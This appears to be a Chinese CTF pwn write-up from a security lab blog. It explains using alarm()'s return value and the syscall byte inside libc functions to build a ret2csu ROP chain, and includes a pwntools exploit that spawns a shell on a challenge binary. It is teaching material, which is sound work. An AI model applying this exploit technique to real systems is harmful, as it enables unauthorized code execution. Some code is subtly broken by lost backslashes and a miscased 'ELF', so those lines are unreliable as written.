点击蓝字,关注我们
日期:2022-12-07 作者:H4y0 介绍:alarm 函数与微偏移量爆破 syscall。
0x00 前言
在之前的学习中没有接触到微偏移量这个概念,直到最近恶补的时候才发现这个知识点被忽视了。之前做题的时候也总是忽略alarm
函数,默认这个函数没什么作用,而实际上是可以利用alarm
函数实现系统调用的。
0x01 alarm与微偏移量
1.1 alarm函数
在glibc2.23
版本中的alarm
函数声明如下:
# glibc-2.23posixunistd.h
/* Schedule an alarm. In SECONDS seconds, the process will get a SIGALRM.
If SECONDS is zero, any currently scheduled alarm will be cancelled.
The function returns the number of seconds remaining until the last
alarm scheduled would have signaled, or zero if there wasn't one.
There is no return value to indicate an error, but you can set `errno'
to 0 and check its value after calling `alarm', and this might tell you.
The signal may come late due to processor scheduling. */
extern unsigned int alarm (unsigned int __seconds) __THROW;
可以看到alarm
函数在使用时需要一个unsinged int
类型的second
作为参数。而alram
函数在第二次调用的时候,会返回上一次调用的剩余时间。
int main()
{
int r1 = alarm(6); // res1 == 0
int r2 = alarm(8); // res2 == 6
sleep(5);
int r3 = alarm(10); // res3 == 3
return 0;
}
第一个alarm
函数会正常停顿6
秒,在它之前没有别的alarm
函数,所以返回值为0
,即r1==0
,运行第二个alarm
的时候会返回上一次调用的剩余时间,即r2==6
,在执行r3
之前停顿5
秒,此时r2
的alarm(8)
过去了5
秒,还剩3
秒,所以r3==3
。
正是利用这一机制,可以控制寄存器中的值。
1.2 微偏移量
微偏移量实际上是一个比较模糊的概念,在接近系统调用的函数中,在函数附近总会出现一个syscall
。alarm
函数便是其中的代表。
这里是调试的glibc2.27
版本,在实际环境中,接近系统调用的函数如read
、write
等,都会存在微偏移量。
利用微偏移量执行syscall
还要能控制一个rax
寄存器,read
函数自然好说,溢出就可以。alarm
函数就可以用到前文的返回值机制来控制rax
。
0x02 实际应用
来看一段main
函数:
ssize_t __fastcall main(int a1, char **a2, char **a3)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(8u);
sleep(3u);
return read(0, buf, 0x500uLL);
}
在保护只开启了NX
的情况下,几乎可以断定是栈上的漏洞。程序的代码十分简单,存在很大空间的栈溢出,但是没有足够的gadgets
,看到有alarm(8u)
,可以利用alram
执行系统调用,从而ret2csu
。
exp
如下:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p = process('./blind')
elf = elf('./blind')
p_rdi = 0x4007c3
bss = 0x601040
def csu(rdi=0, rsi=0, rdx=0, r12=0, rbx=0, rbp=1):
# csu模板
gadget_1 = 0x4007a0
gadget_2 = 0x4007ba
payload = p64(gadget_2)
payload += (p64(rbx) + p64(rbp) + p64(r12) + p64(rdx) + p64(rsi) + p64(rdi))
payload += p64(gadget_1)
payload += b'b'*0x38
return payload
payload = b'a'*0x58
payload += csu(rdi=0, rsi=elf.got['alarm'], rdx=1, r12=elf.got['read'])
# read爆破微偏移量,获取syscall地址
payload += csu(rdi=0, rsi=bss, rdx=59, r12=elf.got['read'])
payload += csu(rdi=bss, r12=elf.got['alarm'])
payload += b'x00'*(0x500-len(payload))
p.sendline(payload)
sleep(0.5)
p.sendline(b'bin/shx00'+b'a'*51)
sleep(0.5)
p.interactive()
0x03 总结
利用如alarm
这种接近系统调用的函数,在某些情况下可能会起到让人意想不到的作用,实现非预期解。这是一种相对灵活的思路,不要固化思维,要将掌握的知识灵活运用起来,才会有丰富的解法。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。
原文始发于微信公众号(宸极实验室):『CTF』alarm 函数的妙用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论